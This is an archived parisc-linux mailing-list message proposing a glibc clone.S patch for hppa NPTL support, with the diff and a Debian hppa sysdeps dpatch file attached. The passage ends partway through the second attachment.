  boundary="_=__=_XaM3_.1143193977.2A.502342.42.20515.52.42.007.1138687764"
X-Trace: ger.gmane.org 1416624026 18624 80.91.229.3 (22 Nov 2014 02:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:26 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>,
 carlos@systemhalted.org,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 09:53:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 24 Mar 2006 10:53:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE8197D736;
	Fri, 24 Mar 2006 02:53:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17888-08; Fri, 24 Mar 2006 02:53:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58F127D70E;
	Fri, 24 Mar 2006 02:53:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBDE67D709
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 02:53:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17888-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 02:53:02 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2D6907D708
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 02:53:01 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k2O9quc03562; 
	Fri, 24 Mar 2006 10:52:57 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5LRKdzQkeWU3uq2TZm9ncG8rL0tsZs1w
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23482

--_=__=_XaM3_.1143193977.2A.502342.42.20515.52.42.007.1138687764
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hi Mike and pa*,

Attempting to fix the clone() bug mentioned by Mike, I reach to find a fi=
x
which I submit you for adivse.

This first step just import latest cvs.p-l.org ci by Carlos:
"
Final checkin to implement NPTL.

2005-08-02  Carlos O'Donell <carlos@systemhalted.org>

	* sysdeps/unix/sysv/linux/hppa/clone.S (__clone): Use 5 arguments.
	* sysdeps/unix/sysv/linux/hppa/sysdep.h: Don't include tls.h.
	(INTERNAL_SYSCALL_NCS): New.
	(INTERNAL_SYSCALL_DECL): Don't provide anything.
"

  1/ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S (see below diff)

  2/ associated sysdeps/unix/sysv/linux/hppa/sysdep.[ch]. I did't touch t=
hose 
     and as it modifie files present in debian glibc235-hppa-sysdeps.diff=
,
     I just propose a refresh.

--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.orig       2006-03-2=
4
09:57:47.000000000 +0100
+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S    2006-03-24
09:58:17.000000000 +0100
@@ -26,29 +26,49 @@
 #define _ERRNO_H       1
 #include <bits/errno.h>
 
-/* int clone(int (*fn)(void *arg), void *child_stack, int flags, void *a=
rg) */
+/* Non-thread code calls __clone with the following parameters:
+   int clone(int (*fn)(void *arg), void *child_stack, int flags, void *a=
rg)
+   
+   NPTL Code will call __clone with the following parameters:
+   int clone(int (*fn)(void *arg), void *child_stack, int flags, void *a=
rg,
+            int *parent_tidptr, struct user_desc *newtls, int *child_pid=
ptr)
+
+   The code should not mangle the extra input registers.
+   Syscall expects:                            Input to __clone:
+       r26 - clone flags.                      (arg2)
+       r25 - user stack pointer.               (arg1)
+       r24 - parent tid pointer.               (stack - 52)
+       r23 - struct user_desc newtls pointer.  (stack - 56)
+       r22 - child tid pointer.                (stack - 60)
+       r20 - clone syscall number              (constant)
+ */
 
         .text
 ENTRY(__clone)
-       /* FIXME: I have no idea how profiling works on hppa. */
-
-       /* Sanity check arguments.  */
-       comib,=3D  0,%arg0,.Lerror        /* no NULL function pointers */=

-       ldi     -EINVAL,%ret0
-       comib,=3D  0,%arg1,.Lerror        /* no NULL stack pointers */
-       nop
 
        /* Save the fn ptr and arg on the new stack.  */
-       stwm    %arg0,64(%arg1)
-       stw     %arg3,-60(%arg1)
+       stwm    %r26,64(%r25)
+       stw     %r23,-60(%r25)
+       /* Clone arguments are (int flags, void * child_stack) */
+       copy    %r24,%r26       /* flags are first */
+       /* User stack pointer is in the correct register already */
+
+       /* Load args from stack... */
+       ldw     -52(%sp), %r24  /* Load parent_tidptr */
+       ldw     -56(%sp), %r23  /* Load newtls */
+       ldw     -60(%sp), %r22  /* Load child_tidptr */
+
+       /* Create frame for function */
+       copy    %sp, %r21
+       stwm    %r3, 64(%sp)
+       stw     %r21, -4(%sp)
 
        /* Save the PIC register. */
 #ifdef PIC
-       stw     %r19,-32(%sr0, %sp)     /* parent */
+       copy    %r19, %r3               /* parent */
 #endif
 
        /* Do the system call */
-       copy    %arg2,%arg0
        ble     0x100(%sr2,%r0)
        ldi     __NR_clone,%r20
 
@@ -63,18 +83,23 @@
           since we return immediately. */
 
        bv      %r0(%rp)
-       nop
+       ldwm    -64(%sp), %r3
 
        /* Something bad happened -- no child created */
 .Lerror:
 
        /* Restore the PIC register on error */
 #ifdef PIC
-       ldw     -32(%sr0, %sp), %r19    /* parent */
+       copy    %r3, %r19               /* parent */ 
 #endif
-
+       /* Set errno */
+       copy    %ret0, %r3
        b       __syscall_error
        sub     %r0,%ret0,%arg0
+       copy    %r3, %ret0
+       /* Return after setting errno */
+       bv      %r0(%rp)
+       ldwm    -64(%sp), %r3
 
 thread_start:
 
@@ -92,7 +117,7 @@
        copy    %ret0,%arg0
 
        /* Die horribly.  */
-       iitlbp  %r0,(%r0)
+       iitlbp  %r0,(%sr0,%r0)
=3D=3D=3D=3D<>=3D=3D=3D=3D

(the last hunk was already ci by Kyle)

Joel

PS: here attached files: clone.S.diff-1_3, a new glibc235-hppa-sysdeps.di=
ff 
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A
--_=__=_XaM3_.1143193977.2A.502342.42.20515.52.42.007.1138687764
Content-Type: application/octet-stream;
	name="=?iso-8859-1?Q?clone.S.diff-1=5F3?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="=?iso-8859-1?Q?clone.S.diff-1=5F3?="

LS0tIGdsaWJjLTIuMy42L3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvY2xvbmUuUy5v
cmlnCTIwMDYtMDMtMjQgMDk6NTc6NDcuMDAwMDAwMDAwICswMTAwCisrKyBnbGliYy0yLjMu
Ni9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL2Nsb25lLlMJMjAwNi0wMy0yNCAwOTo1
ODoxNy4wMDAwMDAwMDAgKzAxMDAKQEAgLTI2LDI5ICsyNiw0OSBAQAogI2RlZmluZSBfRVJS
Tk9fSAkxCiAjaW5jbHVkZSA8Yml0cy9lcnJuby5oPgogCi0vKiBpbnQgY2xvbmUoaW50ICgq
Zm4pKHZvaWQgKmFyZyksIHZvaWQgKmNoaWxkX3N0YWNrLCBpbnQgZmxhZ3MsIHZvaWQgKmFy
ZykgKi8KKy8qIE5vbi10aHJlYWQgY29kZSBjYWxscyBfX2Nsb25lIHdpdGggdGhlIGZvbGxv
d2luZyBwYXJhbWV0ZXJzOgorICAgaW50IGNsb25lKGludCAoKmZuKSh2b2lkICphcmcpLCB2
b2lkICpjaGlsZF9zdGFjaywgaW50IGZsYWdzLCB2b2lkICphcmcpCisgICAKKyAgIE5QVEwg
Q29kZSB3aWxsIGNhbGwgX19jbG9uZSB3aXRoIHRoZSBmb2xsb3dpbmcgcGFyYW1ldGVyczoK
KyAgIGludCBjbG9uZShpbnQgKCpmbikodm9pZCAqYXJnKSwgdm9pZCAqY2hpbGRfc3RhY2ss
IGludCBmbGFncywgdm9pZCAqYXJnLAorCSAgICAgaW50ICpwYXJlbnRfdGlkcHRyLCBzdHJ1
Y3QgdXNlcl9kZXNjICpuZXd0bHMsIGludCAqY2hpbGRfcGlkcHRyKQorCQorICAgVGhlIGNv
ZGUgc2hvdWxkIG5vdCBtYW5nbGUgdGhlIGV4dHJhIGlucHV0IHJlZ2lzdGVycy4KKyAgIFN5
c2NhbGwgZXhwZWN0czoJCQkJSW5wdXQgdG8gX19jbG9uZToKKwlyMjYgLSBjbG9uZSBmbGFn
cy4JCQkoYXJnMikKKwlyMjUgLSB1c2VyIHN0YWNrIHBvaW50ZXIuCQkoYXJnMSkKKwlyMjQg
LSBwYXJlbnQgdGlkIHBvaW50ZXIuCQkoc3RhY2sgLSA1MikKKwlyMjMgLSBzdHJ1Y3QgdXNl
cl9kZXNjIG5ld3RscyBwb2ludGVyLgkoc3RhY2sgLSA1NikKKwlyMjIgLSBjaGlsZCB0aWQg
cG9pbnRlci4JCShzdGFjayAtIDYwKQorCXIyMCAtIGNsb25lIHN5c2NhbGwgbnVtYmVyCQko
Y29uc3RhbnQpCisgKi8KIAogICAgICAgICAudGV4dAogRU5UUlkoX19jbG9uZSkKLQkvKiBG
SVhNRTogSSBoYXZlIG5vIGlkZWEgaG93IHByb2ZpbGluZyB3b3JrcyBvbiBocHBhLiAqLwot
Ci0JLyogU2FuaXR5IGNoZWNrIGFyZ3VtZW50cy4gICovCi0JY29taWIsPSAgMCwlYXJnMCwu
TGVycm9yICAgICAgICAvKiBubyBOVUxMIGZ1bmN0aW9uIHBvaW50ZXJzICovCi0JbGRpICAg
ICAtRUlOVkFMLCVyZXQwCi0JY29taWIsPSAgMCwlYXJnMSwuTGVycm9yICAgICAgICAvKiBu
byBOVUxMIHN0YWNrIHBvaW50ZXJzICovCi0Jbm9wCiAKIAkvKiBTYXZlIHRoZSBmbiBwdHIg
YW5kIGFyZyBvbiB0aGUgbmV3IHN0YWNrLiAgKi8KLQlzdHdtICAgICVhcmcwLDY0KCVhcmcx
KQotCXN0dwklYXJnMywtNjAoJWFyZzEpCisJc3R3bSAgICAlcjI2LDY0KCVyMjUpCisJc3R3
CSVyMjMsLTYwKCVyMjUpCisJLyogQ2xvbmUgYXJndW1lbnRzIGFyZSAoaW50IGZsYWdzLCB2
b2lkICogY2hpbGRfc3RhY2spICovCisJY29weQklcjI0LCVyMjYJLyogZmxhZ3MgYXJlIGZp
cnN0ICovCisJLyogVXNlciBzdGFjayBwb2ludGVyIGlzIGluIHRoZSBjb3JyZWN0IHJlZ2lz
dGVyIGFscmVhZHkgKi8KKworCS8qIExvYWQgYXJncyBmcm9tIHN0YWNrLi4uICovCisJbGR3
CS01Miglc3ApLCAlcjI0CS8qIExvYWQgcGFyZW50X3RpZHB0ciAqLworCWxkdwktNTYoJXNw
KSwgJXIyMyAJLyogTG9hZCBuZXd0bHMgKi8KKwlsZHcJLTYwKCVzcCksICVyMjIJLyogTG9h
ZCBjaGlsZF90aWRwdHIgKi8KKworCS8qIENyZWF0ZSBmcmFtZSBmb3IgZnVuY3Rpb24gKi8K
Kwljb3B5CSVzcCwgJXIyMQorCXN0d20JJXIzLCA2NCglc3ApCisJc3R3CSVyMjEsIC00KCVz
cCkKIAogCS8qIFNhdmUgdGhlIFBJQyByZWdpc3Rlci4gKi8KICNpZmRlZiBQSUMKLQlzdHcJ
JXIxOSwtMzIoJXNyMCwgJXNwKQkvKiBwYXJlbnQgKi8KKwljb3B5CSVyMTksICVyMwkJLyog
cGFyZW50ICovCiAjZW5kaWYKIAogCS8qIERvIHRoZSBzeXN0ZW0gY2FsbCAqLwotCWNvcHkJ
JWFyZzIsJWFyZzAKIAlibGUgICAgIDB4MTAwKCVzcjIsJXIwKQogCWxkaQlfX05SX2Nsb25l
LCVyMjAKIApAQCAtNjMsMTggKzgzLDIzIEBACiAJICAgc2luY2Ugd2UgcmV0dXJuIGltbWVk
aWF0ZWx5LiAqLwogCiAJYnYJJXIwKCVycCkKLQlub3AKKwlsZHdtCS02NCglc3ApLCAlcjMK
IAogCS8qIFNvbWV0aGluZyBiYWQgaGFwcGVuZWQgLS0gbm8gY2hpbGQgY3JlYXRlZCAqLwog
LkxlcnJvcjoKIAogCS8qIFJlc3RvcmUgdGhlIFBJQyByZWdpc3RlciBvbiBlcnJvciAqLwog
I2lmZGVmIFBJQwotCWxkdwktMzIoJXNyMCwgJXNwKSwgJXIxOQkvKiBwYXJlbnQgKi8KKwlj
b3B5CSVyMywgJXIxOQkJLyogcGFyZW50ICovIAogI2VuZGlmCi0KKwkvKiBTZXQgZXJybm8g
Ki8KKwljb3B5CSVyZXQwLCAlcjMKIAliCV9fc3lzY2FsbF9lcnJvcgogCXN1YiAgICAgJXIw
LCVyZXQwLCVhcmcwCisJY29weQklcjMsICVyZXQwCisJLyogUmV0dXJuIGFmdGVyIHNldHRp
bmcgZXJybm8gKi8KKwlidgklcjAoJXJwKQorCWxkd20JLTY0KCVzcCksICVyMwogCiB0aHJl
YWRfc3RhcnQ6CiAKQEAgLTkyLDcgKzExNyw3IEBACiAJY29weQklcmV0MCwlYXJnMAogCiAJ
LyogRGllIGhvcnJpYmx5LiAgKi8KLQlpaXRsYnAJJXIwLCglcjApCisJaWl0bGJwCSVyMCwo
JXNyMCwlcjApCiAKIFBTRVVET19FTkQoX19jbG9uZSkKIAo=

--_=__=_XaM3_.1143193977.2A.502342.42.20515.52.42.007.1138687764
Content-Type: text/plain;
	name="=?iso-8859-1?Q?glibc235-hppa-sysdeps.diff?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?glibc235-hppa-sysdeps.diff?="

#! /bin/sh -e=0A=0A# All lines beginning with `# DP:' are a description o=
f the patch.=0A# DP: Description: Make glibc-2.3.5 compile to enable hppa=
 sysdeps=0A#		   and linuxthreads correctly again.=0A# DP: Related bugs: =
=0A# DP: Dpatch author: Jeff Bailey <jbailey@ubuntu.com>=0A# DP: Patch au=
thor: Carlos O'Donell=0A# DP: Upstream status: Pending=0A# DP: Status Det=
ails: =0A# DP: Date: 2005-07-17=0A=0APATCHLEVEL=3D1=0A=0Aif [ $# -ne 2 ];=
 then=0A    echo >&2 "`basename $0`: script expects -patch|-unpatch as ar=
gument"=0A    exit 1=0Afi=0Acase "$1" in=0A    -patch) patch -d "$2" -f -=
-no-backup-if-mismatch -p$PATCHLEVEL < $0;;=0A    -unpatch) patch -d "$2"=
 -f --no-backup-if-mismatch -R -p$PATCHLEVEL < $0;;=0A    *)=0A	echo >&2 =
"`basename $0`: script expects -patch|-unpatch as argument"=0A	exit 1=0Ae=
sac=0Aexit 0=0A=0A# append the patch here and adjust the -p? flag in the =
patch calls.=0A--- libc-orig/sysdeps/generic/dl-sysdep.c	2004-12-14 15:30=
:41.000000000 -0500=0A+++ libc/sysdeps/generic/dl-sysdep.c	2004-12-14 15:=
30:29.000000000 -0500=0A@@ -89,7 +89,7 @@=0A #else=0A   uid_t uid =3D 0;=0A=
   gid_t gid =3D 0;=0A-  unsigned int seen =3D 0;=0A+  int seen =3D 0;=0A=
 # define set_seen_secure() (seen =3D -1)=0A # ifdef HAVE_AUX_XID=0A #  d=
efine set_seen(tag) (tag)	/* Evaluate for the side effects.  */=0A--- lib=
c-orig/sysdeps/hppa/atomicity.h	1969-12-31 19:00:00.000000000 -0500=0A+++=
 libc/sysdeps/hppa/atomicity.h	2003-12-08 21:25:00.000000000 -0500=0A@@ -=
0,0 +1,55 @@=0A+/* Low-level functions for atomic operations.  HP-PARISC =
version.=0A+   Copyright (C) 1997,2001 Free Software Foundation, Inc.=0A+=
   This file is part of the GNU C Library.=0A+=0A+   The GNU C Library is=
 free software; you can redistribute it and/or=0A+   modify it under the =
terms of the GNU Lesser General Public=0A+   License as published by the =
Free Software Foundation; either=0A+   version 2.1 of the License, or (at=
 your option) any later version.=0A+=0A+   The GNU C Library is distribut=
ed in the hope that it will be useful,=0A+   but WITHOUT ANY WARRANTY; wi=
thout even the implied warranty of=0A+   MERCHANTABILITY or FITNESS FOR A=
 PARTICULAR PURPOSE.  See the GNU=0A+   Lesser General Public License for=
 more details.=0A+=0A+   You should have received a copy of the GNU Lesse=
r General Public=0A+   License along with the GNU C Library; if not, writ=
e to the Free=0A+   Software Foundation, Inc., 59 Temple Place, Suite 330=
, Boston, MA=0A+   02111-1307 USA.  */=0A+=0A+#ifndef _ATOMICITY_H=0A+#de=
fine _ATOMICITY_H	1=0A+=0A+#include <inttypes.h>=0A+=0A+#warning stub ato=
micity functions are not atomic=0A+#warning CAO This will get implemented=
 soon=0A+=0A+static inline int=0A+__attribute__ ((unused))=0A+exchange_an=
d_add (volatile uint32_t *mem, int val)=0A+{=0A+  int result =3D *mem;=0A=
+  *mem +=3D val;=0A+  return result;=0A+}=0A+=0A+static inline void=0A+_=
_attribute__ ((unused))=0A+atomic_add (volatile uint32_t *mem, int val)=0A=
+{=0A+  *mem +=3D val;=0A+}=0A+=0A+static inline int=0A+__attribute__ ((u=
nused))=0A+compare_and_swap (volatile long int *p, long int oldval, long =
int newval)=0A+{=0A+  if (*p !=3D oldval)=0A+    return 0;=0A+=0A+  *p =3D=
 newval;=0A+  return 1;=0A+}=0A+=0A+#endif /* atomicity.h */=0A--- libc-o=
rig/sysdeps/hppa/bits/link.h	2005-01-28 14:39:49.000000000 -0500=0A+++ li=
bc/sysdeps/hppa/bits/link.h	2005-03-01 13:42:58.000000000 -0500=0A@@ -0,0=
 +1,63 @@=0A+/* Copyright (C) 2005 Free Software Foundation, Inc.=0A+   T=
his file is part of the GNU C Library.=0A+=0A+   The GNU C Library is fre=
e software; you can redistribute it and/or=0A+   modify it under the term=
s of the GNU Lesser General Public=0A+   License as published by the Free=
 Software Foundation; either=0A+   version 2.1 of the License, or (at you=
r option) any later version.=0A+=0A+   The GNU C Library is distributed i=
n the hope that it will be useful,=0A+   but WITHOUT ANY WARRANTY; withou=
t even the implied warranty of=0A+   MERCHANTABILITY or FITNESS FOR A PAR=
TICULAR PURPOSE.  See the GNU=0A+   Lesser General Public License for mor=
e details.=0A+=0A+   You should have received a copy of the GNU Lesser Ge=
neral Public=0A+   License along with the GNU C Library; if not, write to=
 the Free=0A+   Software Foundation, Inc., 59 Temple Place, Suite 330, Bo=
ston, MA=0A+   02111-1307 USA.  */=0A+=0A+#ifndef	_LINK_H=0A+# error "Nev=
er include <bits/link.h> directly; use <link.h> instead."=0A+#endif=0A+=0A=
+/* Registers for entry into PLT on hppa.  */=0A+typedef struct La_hppa_r=
egs=0A+{=0A+  uint32_t lr_r8;=0A+  uint32_t lr_r9;=0A+  uint32_t lr_r10;=0A=
+  uint32_t lr_r11;=0A+  uint32_t lr_gr [8];=0A+  double lr_fr [8];=0A+  =
uint32_t lr_unat;=0A+  uint32_t lr_sp;=0A+} La_hppa_regs;=0A+=0A+/* Retur=
n values for calls from PLT on hppa.  */=0A+typedef struct La_hppa_retval=
=0A+{=0A+  uint32_t lrv_r8;=0A+  uint32_t lrv_r9;=0A+  uint32_t lrv_r10;=0A=
+  uint32_t lrv_r11;=0A+  double lr_fr [8];=0A+} La_hppa_retval;=0A+=0A+=0A=
+__BEGIN_DECLS=0A+=0A+extern Elf32_Addr la_hppa_gnu_pltenter (Elf32_Sym *=
__sym, unsigned int __ndx,=0A+				       uintptr_t *__refcook,=0A+				   =
    uintptr_t *__defcook,=0A+				       La_hppa_regs *__regs,=0A+				    =
   unsigned int *__flags,=0A+				       const char *__symname,=0A+				   =
    long int *__framesizep);=0A+extern unsigned int la_hppa_gnu_pltexit (=
Elf32_Sym *__sym, unsigned int __ndx,=0A+					uintptr_t *__refcook,=0A+		=
			uintptr_t *__defcook,=0A+					const La_hppa_regs *__inregs,=0A+					La=
_hppa_retval *__outregs,=0A+					const char *symname);=0A+=0A+__END_DECLS=
=0A--- libc-orig/sysdeps/hppa/dl-trampoline.S	1969-12-31 19:00:00.0000000=
00 -0500=0A+++ libc/sysdeps/hppa/dl-trampoline.S	2005-04-05 15:51:55.0000=
00000 -0400=0A@@ -0,0 +1,194 @@=0A+/* PLT trampolines. hppa version.=0A+ =
  Copyright (C) 2005 Free Software Foundation, Inc.=0A+   This file is pa=
rt of the GNU C Library.=0A+=0A+   The GNU C Library is free software; yo=
u can redistribute it and/or=0A+   modify it under the terms of the GNU L=
esser General Public=0A+   License as published by the Free Software Foun=
dation; either=0A+   version 2.1 of the License, or (at your option) any =
later version.=0A+=0A+   The GNU C Library is distributed in the hope tha=
t it will be useful,=0A+   but WITHOUT ANY WARRANTY; without even the imp=
lied warranty of=0A+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOS=
E.  See the GNU=0A+   Lesser General Public License for more details.=0A+=
=0A+   You should have received a copy of the GNU Lesser General Public=0A=
+   License along with the GNU C Library; if not, write to the Free=0A+  =
 Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA=0A+   =
02111-1307 USA.  */=0A+=0A+#include <sysdep.h>=0A+=0A+/* This code gets c=
alled via the .plt stub, and is used in=0A+   dl-runtime.c to call the `_=
dl_fixup' function and then redirect =0A+   to the    address it returns.=
 `_dl_fixup' takes two=0A+   arguments, however `_dl_profile_fixup' takes=
 a number of =0A+   parameters for use with library auditing (LA).=0A+   =
=0A+   WARNING: This template is also used by gcc's __cffc, and expects=0A=
+   that the "bl" for _dl_runtime_resolve exist at a particular offset.=0A=
+   Do not change this template without changing gcc, while the prefix=0A=
+   "bl" should fix everything so gcc finds the right spot, it will=0A+  =
 slow down __cffc when it attempts to call fixup to resolve function=0A+ =
  descriptor references. Please refer to gcc/gcc/config/pa/fptr.c=0A+   =0A=
+   Enter with r19 =3D reloc offset, r20 =3D got-8, r21 =3D fixup ltp.  *=
/=0A+=0A+	/* FAKE bl to provide gcc's __cffc with fixup loc. */=0A+	.text=
=0A+	bl	_dl_fixup, %r2=0A+        .text=0A+        .align 4=0A+        .g=
lobal _dl_runtime_resolve=0A+        .type _dl_runtime_resolve,@function=0A=
+_dl_runtime_resolve:=0A+        .PROC=0A+        .CALLINFO FRAME=3D128,C=
ALLS,SAVE_RP,ENTRY_GR=3D3=0A+        .ENTRY=0A+        /* SAVE_RP says we=
 do */=0A+        stw %rp, -20(%sp)=0A+=0A+	/* Save static link register =
*/=0A+	stw	%r29,-16(%sp)=0A+ 	/* Save argument registers in the call stac=
k frame. */=0A+	stw	%r26,-36(%sp)=0A+	stw	%r25,-40(%sp)=0A+	stw	%r24,-44(=
%sp)=0A+	stw	%r23,-48(%sp)=0A+=0A+	/* Build a call frame, and save struct=
ure pointer. */=0A+	copy	%sp, %r26	/* Copy previous sp */=0A+	/* Save fun=
ction result address (on entry) */=0A+	stwm	%r28,128(%sp)=0A+=0A+	/* Save=
 floating point argument registers */=0A+	ldo	-56(%sp),%r26	=0A+	fstd,ma	=
%fr4,-8(%r26)=0A+	fstd,ma	%fr5,-8(%r26)=0A+	fstd,ma	%fr6,-8(%r26)=0A+	fst=
d	%fr7,0(%r26)=0A+=0A+	/* Fillin some frame info to follow ABI */=0A+	stw=
	%r21,-32(%sp)	/* PIC register value */=0A+	stw	%r26,-4(%sp)	/* Previous =
sp */=0A+=0A+ 	/* Set up args to fixup func, needs only two arguments  */=
=0A+	ldw	8+4(%r20),%r26		/* (1) got[1] =3D=3D struct link_map */=0A+	copy=
	%r19,%r25		/* (2) reloc offset  */=0A+=0A+ 	/* Call the real address res=
olver. */=0A+	bl	_dl_fixup,%rp=0A+	copy	%r21,%r19		/* set fixup func ltp =
*/=0A+=0A+	/* Load up the returned func descriptor */=0A+	copy	%ret0, %r2=
2=0A+	copy	%ret1, %r19=0A+=0A+	/* Reload arguments fp args */=0A+	ldo	-80=
(%sp),%r26=0A+	fldd,ma	8(%r26),%fr7=0A+	fldd,ma	8(%r26),%fr6=0A+	fldd,ma	=
8(%r26),%fr5=0A+	fldd	0(%r26),%fr4=0A+=0A+	/* Adjust sp, and restore func=
tion result address*/=0A+	ldwm	-128(%sp),%r28=0A+=0A+	/* Reload static li=
nk register */=0A+	ldw	-16(%sp),%r29=0A+	/* Reload general args */=0A+	ld=
w	-36(%sp),%r26=0A+	ldw	-40(%sp),%r25=0A+	ldw	-44(%sp),%r24=0A+	ldw	-48(%=
sp),%r23=0A+=0A+	/* Jump to new function, but return to previous function=
 */=0A+	bv	%r0(%r22)=0A+	ldw	-20(%sp),%rp=0A+        .EXIT=0A+        .PR=
OCEND=0A+	.size   _dl_runtime_resolve, . - _dl_runtime_resolve=0A+=0A+=0A=
+	/* FIXME:=0A+		Need to largely rewrite the bottom half of=0A+		this cod=
e in order to save and restore the=0A+		LA struct from the stack along wi=
th=0A+		interpreted parameters.=0A+	*/=0A+        .text=0A+        .align=
 4=0A+        .global _dl_runtime_profile=0A+        .type _dl_runtime_pr=
ofile,@function=0A+_dl_runtime_profile:=0A+        .PROC=0A+        .CALL=
INFO FRAME=3D128,CALLS,SAVE_RP,ENTRY_GR=3D3=0A+        .ENTRY=0A+=0A+    =
    /* SAVE_RP says we do */=0A+        stw %rp, -20(%sp)=0A+=0A+	/* Save=
 static link register */=0A+	stw	%r29,-16(%sp)=0A+ 	/* Save argument regi=
sters in the call stack frame. */=0A+	stw	%r26,-36(%sp)=0A+	stw	%r25,-40(=
%sp)=0A+	stw	%r24,-44(%sp)=0A+	stw	%r23,-48(%sp)=0A+=0A+	/* Build a call =
frame, and save structure pointer. */=0A+	copy	%sp, %r26	/* Copy previous=
 sp */=0A+	/* Save function result address (on entry) */=0A+	stwm	%r28,12=
8(%sp)=0A+=0A+	/* Save floating point argument registers */=0A+	ldo	-56(%=
sp),%r26	=0A+	fstd,ma	%fr4,-8(%r26)=0A+	fstd,ma	%fr5,-8(%r26)=0A+	fstd,ma=
	%fr6,-8(%r26)=0A+	fstd	%fr7,0(%r26)=0A+=0A+	/* Fillin some frame info to=
 follow ABI */=0A+	stw	%r21,-32(%sp)	/* PIC register value */=0A+	stw	%r2=
6,-4(%sp)	/* Previous sp */=0A+=0A+ 	/* Set up args to fixup func, needs =
three arguments  */=0A+	ldw	8+4(%r20),%r26		/* (1) got[1] =3D=3D struct l=
ink_map */=0A+	copy	%r19,%r25		/* (2) reloc offset  */=0A+	copy    %rp,%r=
24		/* (3) profile_fixup needs rp */=0A+=0A+ 	/* Call the real address re=
solver. */=0A+	bl	_dl_profile_fixup,%rp=0A+	copy	%r21,%r19		/* set fixup =
func ltp */=0A+=0A+	/* Load up the returned func descriptor */=0A+	copy	%=
ret0, %r22=0A+	copy	%ret1, %r19=0A+=0A+	/* Reload arguments fp args */=0A=
+	ldo	-80(%sp),%r26=0A+	fldd,ma	8(%r26),%fr7=0A+	fldd,ma	8(%r26),%fr6=0A+=
	fldd,ma	8(%r26),%fr5=0A+	fldd	0(%r26),%fr4=0A+=0A+	/* Adjust sp, and res=
tore function result address*/=0A+	ldwm	-128(%sp),%r28=0A+=0A+	/* Reload =
static link register */=0A+	ldw	-16(%sp),%r29=0A+	/* Reload general args =
*/=0A+	ldw	-36(%sp),%r26=0A+	ldw	-40(%sp),%r25=0A+	ldw	-44(%sp),%r24=0A+	=
ldw	-48(%sp),%r23=0A+=0A+	/* Jump to new function, but return to previous=
 function */=0A+	bv	%r0(%r22)=0A+	ldw	-20(%sp),%rp=0A+        .EXIT=0A+  =
      .PROCEND=0A+	.size   _dl_runtime_profile, . - _dl_runtime_profile=0A=
+=0A+=0A+=0A--- libc-orig/sysdeps/hppa/fpu/libm-test-ulps	2003-03-22 19:5=
